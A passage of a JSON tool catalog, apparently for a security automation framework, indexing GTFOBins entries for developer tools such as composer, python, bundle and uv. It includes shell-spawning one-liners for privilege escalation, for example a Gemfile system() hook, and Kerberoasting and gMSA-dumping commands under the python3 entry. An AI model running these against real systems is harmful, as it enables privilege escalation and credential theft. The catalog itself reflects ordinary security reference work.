    "description": "PHP dependency manager, can spawn a shell via composer run-script.",
    "examples": [
      {
        "description": "Spawn a shell via composer run-script",
        "command": "echo '{\"scripts\":{\"x\":\"/bin/sh\"}}' >composer.json\ncomposer run-script x\n"
      }
    ],
    "execution": {
      "template": "composer run-script x",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-php-composer",
    "install": [
      {
        "method": "apt",
        "package_name": "composer",
        "commands": [
          "apt-get install -y composer"
        ]
      }
    ],
    "name": "composer",
    "namespace": "dev:php:composer",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/composer/"
      }
    ],
    "related_tools": [
      "php"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pdb.md",
    "allowed-tools": [
      "pdb",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python debugger output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Python debugger, can execute Python code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via pdb",
        "command": "python -m pdb /path/to/script.py"
      }
    ],
    "execution": {
      "template": "python -m pdb /path/to/script.py",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-python-pdb",
    "install": [
      {
        "method": "apt",
        "package_name": "python3",
        "commands": [
          "apt-get install -y python3"
        ]
      }
    ],
    "name": "pdb",
    "namespace": "dev:python:pdb",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pdb/"
      }
    ],
    "related_tools": [
      "python",
      "gdb"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "poetry.md",
    "allowed-tools": [
      "poetry",
      "pip",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Python dependency manager, can execute Python code via scripts.",
    "examples": [
      {
        "description": "Execute Python code via poetry",
        "command": "poetry run /path/to/script"
      }
    ],
    "execution": {
      "template": "poetry run /path/to/script",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-python-poetry",
    "install": [
      {
        "method": "pip",
        "package_name": "poetry",
        "commands": [
          "pip install poetry"
        ]
      }
    ],
    "name": "poetry",
    "namespace": "dev:python:poetry",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/poetry/"
      }
    ],
    "related_tools": [
      "pip",
      "python"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "python.md",
    "allowed-tools": [
      "python",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python code output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Python interpreter, can execute Python code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via python",
        "command": "python -c 'import os; os.system(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "python -c \"import os; os.system(\\\"/bin/sh\\\")\"",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-python-python",
    "install": [
      {
        "method": "apt",
        "package_name": "python3",
        "commands": [
          "apt-get install -y python3"
        ]
      }
    ],
    "name": "python",
    "namespace": "dev:python:python",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/python/"
      }
    ],
    "related_tools": [
      "pip",
      "pdb",
      "mypy"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "\n# uv\n\nuv is a command-line utility. Fast Python package installer and resolver; can also spawn an interactive shell.\n",
    "_source": "uv.md",
    "allowed-tools": [
      "uv"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast Python package installer and resolver; can execute arbitrary code.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "uv run /bin/sh"
      }
    ],
    "execution": {
      "template": "uv",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "dev-python-uv",
    "install": [
      {
        "method": "apt",
        "package_name": "uv",
        "commands": [
          "apt-get install -y uv"
        ]
      }
    ],
    "name": "uv",
    "namespace": "dev:python:uv",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/uv/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "bundle.md",
    "allowed-tools": [
      "bundle",
      "bundler",
      "ruby",
      "irb",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ruby dependency manager (Bundler), can spawn shells via exec and Gemfile manipulation.",
    "examples": [
      {
        "description": "Spawn a shell via bundle exec",
        "command": "bundle exec /bin/sh"
      },
      {
        "description": "Spawn a shell via BUNDLE_GEMFILE trick",
        "command": "BUNDLE_GEMFILE=x bundle exec /bin/sh"
      },
      {
        "description": "Spawn a shell via Gemfile install hook",
        "command": "echo 'system(\"/bin/sh\")' >Gemfile\nbundle install\n"
      }
    ],
    "execution": {
      "template": "bundle exec /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-ruby-bundle",
    "install": [
      {
        "method": "gem",
        "package_name": "bundler",
        "commands": [
          "gem install bundler"
        ]
      }
    ],
    "name": "bundle",
    "namespace": "dev:ruby:bundle",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/bundle/"
      }
    ],
    "related_tools": [
      "bundler",
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "byebug.md",
    "allowed-tools": [
      "byebug",
      "ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Ruby code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ruby debugger, can execute Ruby code inherited from Ruby binary.",
    "examples": [
      {
        "description": "Execute Ruby code via byebug",
        "command": "byebug --no-stop /path/to/script.rb"
      }
    ],
    "execution": {
      "template": "byebug --no-stop /path/to/script.rb",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-ruby-byebug",
    "install": [
      {
        "method": "gem",
        "package_name": "byebug",
        "commands": [
          "gem install byebug"
        ]
      }
    ],
    "name": "byebug",
    "namespace": "dev:ruby:byebug",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/byebug/"
      }
    ],
    "related_tools": [
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# python3 — Python programming language interpreter\n\n## Overview\n\n`python3` is a command-line utility for python programming language interpreter.\n\n## Usage\n\n```\npython3 -b {{flag_b}} -c {{flag_c}} -d {{flag_d}} -h {{flag_h}} -i {{flag_i}}\n```\n",
    "_source": "python3.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "dev.runtime.python3",
      "dev.runtime.execute"
    ],
    "description": "Python programming language interpreter",
    "examples": [
      {
        "description": "Basic usage with flag_b",
        "command": "python3 ${flag_b}"
      },
      {
        "description": "Display help message",
        "command": "python3 --help"
      },
      {
        "description": "NetRunners Active Directory/exploitation",
        "command": "python3 targetedKerberoast.py -v -d {{DOMAIN}} -u {{USER}} -p '{{PASSWORD}}' --request-user TARGET_USER"
      },
      {
        "description": "NetRunners Active Directory/post-exploitation",
        "command": "python3 gMSADumper.py -u {{USER}} -p '{{PASSWORD}}' -d {{DOMAIN}}"
      },
      {
        "description": "NetRunners KERBEROS/exploitation",
        "command": "python3 targetedKerberoast.py -k --dc-host {{DC.DOMAIN}} -u {{USER}} -d {{DOMAIN}}"
      },
      {
        "description": "NetRunners web/exploitation",
        "command": "python3 git_dumper.py {{URL}} git_dump"
      }
    ],
    "execution": {
      "template": "python3 {flag-b} {flag-c} {flag-d} {flag-h} {flag-i}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "batch"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port",
      "user": "user",
      "domain": "domain"
    },
    "id": "dev-runtime-python3",
    "install": [
      {
        "method": "apt",
        "package_name": "python3",
        "commands": [
          "apt-get install -y python3"
        ]
      }
    ],
    "name": "python3",
    "namespace": "dev:runtime:python3",
    "parameters": [
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": issue warnings about converting bytes/bytearray to str and comparing",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": turn on parser debugging output (for experts only, only works on",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": print this help message and exit (also -? or --help)",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": inspect interactively after running script; forces a prompt even",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": don't print version and copyright messages on interactive startup",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": ": don't add user site directory to sys.path; also PYTHONNOUSERSITE=x",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": force the stdout and stderr streams to be unbuffered",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": verbose (trace import statements); also PYTHONVERBOSE=x",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-W",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "also PYTHONWARNINGS=arg",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": ": skip first line of source, allowing use of non-Unix forms of #!cmd",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-X",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-X",
          "-s"
        ],
        "flag": "-X"
      },
      {
        "name": "check-hash-based-pycs",
        "template_key": "check-hash-based-pycs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "control how Python invalidates hash-based .pyc files",
        "aliases": [
          "--check-hash-based-pycs"
        ],
        "flag": "--check-hash-based-pycs"
      },
      {
        "name": "help-env",
        "template_key": "help-env",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--help-env"
        ],
        "flag": "--help-env"
      },
      {
        "name": "help-xoptions",
        "template_key": "help-xoptions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s",
          "-X",
          "--help-xoptions"
        ],
        "flag": "-s"
      },
      {
        "name": "help-all",
        "template_key": "help-all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--help-all"
        ],
        "flag": "--help-all"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "windows"
    ],
    "risk_level": "low",
    "techniques": [
      "analysis",
      "defense-evasion",
      "execution",
      "credential-access",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "cargo.md",
    "allowed-tools": [
      "cargo",
      "less",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to read"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Rust package manager, can read files via pager (less) inheritance.",
    "examples": [
      {
        "description": "Read a file via cargo pager",
        "command": "cargo help doc"
      }
    ],
    "execution": {
      "template": "cargo help doc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "dev-rust-cargo",
    "install": [
      {
        "method": "apt",
        "package_name": "cargo",
        "commands": [
          "apt-get install -y cargo"
        ]
      },
      {
        "method": "brew",
        "package_name": "rust",
        "commands": [
          "brew install rust"
        ]
      }
    ],
    "name": "cargo",
    "namespace": "dev:rust:cargo",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cargo/"
      }
    ],
    "related_tools": [
      "less"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nm.md",
    "allowed-tools": [
      "nm",
      "readelf",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "List symbols from object files, can read files.",
    "examples": [
      {
        "description": "Read symbols via nm",
        "command": "nm /path/to/binary"
      }
    ],
    "execution": {
      "template": "nm /path/to/binary",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "dev-symbol-nm",
    "install": [
      {
        "method": "apt",
        "package_name": "binutils",
        "commands": [
          "apt-get install -y binutils"
        ]
      }
    ],
    "name": "nm",
    "namespace": "dev:symbol:nm",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nm/"
      }
    ],
    "related_tools": [
      "readelf",
      "objdump"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "readelf.md",
    "allowed-tools": [
      "readelf",
      "nm",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ELF file reader, can read binary files.",
    "examples": [
      {
        "description": "Read an ELF file via readelf",
        "command": "readelf -a /path/to/binary"
      }
    ],
    "execution": {
      "template": "readelf -a /path/to/binary",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "dev-symbol-readelf",
    "install": [
      {
        "method": "apt",
        "package_name": "binutils",
        "commands": [
          "apt-get install -y binutils"
        ]
      }
    ],
    "name": "readelf",
    "namespace": "dev:symbol:readelf",
    "parameters": [
      {
        "name": "all",
        "template_key": "all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Equivalent to: -h -l -S -s -r -d -V -A -I --got-contents",
        "aliases": [
          "-a",
          "--all"
        ],
        "flag": "-a"
      },
      {
        "name": "arch-specific",
        "template_key": "arch-specific",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display architecture specific information (if any)",
        "aliases": [
          "-A",
          "--arch-specific"
        ],
        "flag": "-A"
      },
      {
        "name": "archive-index",
        "template_key": "archive-index",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the symbol/file index in an archive",
        "aliases": [
          "-c",
          "--archive-index"
        ],
        "flag": "-c"
      },
      {
        "name": "ctf",
        "template_key": "ctf",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display CTF info from section <number|name>",
        "aliases": [
          "--ctf"
        ],
        "flag": "--ctf"
      },
      {
        "name": "ctf-parent",
        "template_key": "ctf-parent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use CTF archive member <name> as the CTF parent",
        "aliases": [
          "--ctf-parent"
        ],
        "flag": "--ctf-parent"
      },
      {
        "name": "ctf-strings",
        "template_key": "ctf-strings",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use section <number|name> as the CTF external strtab",
        "aliases": [
          "--ctf-strings"
        ],
        "flag": "--ctf-strings"
      },
      {
        "name": "ctf-symbols",
        "template_key": "ctf-symbols",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use section <number|name> as the CTF external symtab",
        "aliases": [
          "--ctf-symbols"
        ],
        "flag": "--ctf-symbols"
      },
      {
        "name": "debug-dump",
        "template_key": "debug-dump",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "f/=frames, F/=frames-interp, g/=gdb_index, i/=info, o/=loc, m/=macro, p/=pubnames, t/=pubtypes, R/=Ranges, l/=rawline, s/=str, O/=str-offsets, u/=trace_abbrev, T/=trace_aranges, U/=trace_info] Display the contents of DWARF debug sections",
        "aliases": [
          "-w",
          "--debug-dump"
        ],
        "flag": "-w"
      },
      {
        "name": "debug-dump-2",
        "template_key": "debug-dump-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "debuginfo files",
        "aliases": [
          "-w",
          "--debug-dump"
        ],
        "flag": "-w"
      },
      {
        "name": "debug-dump-3",
        "template_key": "debug-dump-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Follow links to separate debug info files (default)",
        "aliases": [
          "-w",
          "-l",
          "--debug-dump"
        ],
        "flag": "-w"
      },
      {
        "name": "debug-dump-4",
        "template_key": "debug-dump-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not follow links to separate debug info files",
        "aliases": [
          "-w",
          "-f",
          "-l",
          "--debug-dump"
        ],
        "flag": "-w"
      },
      {
        "name": "decompress",
        "template_key": "decompress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Decompress section before dumping it",
        "aliases": [
          "-z",
          "--decompress"
        ],
        "flag": "-z"
      },
      {
        "name": "demangle",
        "template_key": "demangle",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "STYLE can be \"none\", \"auto\", \"gnu-v3\", \"java\", \"gnat\", \"dlang\", \"rust\" --no-demangle Do not demangle low-level symbol names. (default) --recurse-limit Enable a demangling recursion limit. (default) --no-recurse-limit Disable a demangling recursion limit -U[dlexhi] --unicode=[default|locale|escape|hex|highlight|invalid] Display unicode characters as determined by the current locale (default), escape sequences, \"<hex sequences>\", highlighted escape sequences, or treat them as invalid and display as \"{hex sequences}\" -X --extra-sym-info Display extra information when showing symbols --no-extra-sym-info Do not display extra information when showing symbols (default)",
        "aliases": [
          "-C",
          "--demangle"
        ],
        "enum": [
          "hex sequences"
        ],
        "flag": "-C"
      },
      {
        "name": "display-section",
        "template_key": "display-section",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the contents of the indicated section. Can be repeated",
        "aliases": [
          "-j",
          "--display-section"
        ],
        "flag": "-j"
      },
      {
        "name": "dwarf-depth",
        "template_key": "dwarf-depth",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Do not display DIEs at depth N or greater",
        "aliases": [
          "--dwarf-depth"
        ],
        "flag": "--dwarf-depth"
      },
      {
        "name": "dwarf-start",
        "template_key": "dwarf-start",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Display DIEs starting at offset N",
        "aliases": [
          "--dwarf-start"
        ],
        "flag": "--dwarf-start"
      },
      {
        "name": "dyn-syms",
        "template_key": "dyn-syms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the dynamic symbol table",
        "aliases": [
          "--dyn-syms"
        ],
        "flag": "--dyn-syms"
      },
      {
        "name": "dynamic",
        "template_key": "dynamic",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the dynamic section (if present)",
        "aliases": [
          "-d",
          "--dynamic"
        ],
        "flag": "-d"
      },
      {
        "name": "file-header",
        "template_key": "file-header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the ELF file header",
        "aliases": [
          "-h",
          "--file-header"
        ],
        "flag": "-h"
      },
      {
        "name": "got-contents",
        "template_key": "got-contents",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display GOT section contents",
        "aliases": [
          "--got-contents"
        ],
        "flag": "--got-contents"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Equivalent to: -h -l -S",
        "aliases": [
          "-e",
          "--headers"
        ],
        "flag": "-e"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display this information",
        "aliases": [
          "-H",
          "--help"
        ],
        "flag": "-H"
      },
      {
        "name": "hex-dump",
        "template_key": "hex-dump",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Dump the contents of section <number|name> as bytes",
        "aliases": [
          "-x",
          "--hex-dump"
        ],
        "flag": "-x"
      },
      {
        "name": "histogram",
        "template_key": "histogram",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display histogram of bucket list lengths",
        "aliases": [
          "-I",
          "--histogram"
        ],
        "flag": "-I"
      },
      {
        "name": "lint",
        "template_key": "lint",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display warning messages for possible problems",
        "aliases": [
          "-L",
          "--lint",
          "--enable-checks"
        ],
        "flag": "-L"
      },
      {
        "name": "lto-syms",
        "template_key": "lto-syms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display LTO symbol tables",
        "aliases": [
          "--lto-syms"
        ],
        "flag": "--lto-syms"
      },
      {
        "name": "no_demangle",
        "type": "boolean",
        "required": false,
        "description": "symbol names.  (default)",
        "aliases": [
          "--no-demangle",
          "-level"
        ],
        "flag": "-level"
      },
      {
        "name": "no_extra_sym_info",
        "type": "boolean",
        "required": false,
        "description": "Do not display extra information when showing symbols (default)",
        "aliases": [
          "--no-extra-sym-info"
        ],
        "flag": "--no-extra-sym-info"
      },
      {
        "name": "no_recurse_limit",
        "type": "boolean",
        "required": false,
        "description": "Disable a demangling recursion limit",
        "aliases": [
          "--no-recurse-limit"
        ],
        "flag": "--no-recurse-limit"
      },
      {
        "name": "notes",
        "template_key": "notes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the contents of note sections (if present)",
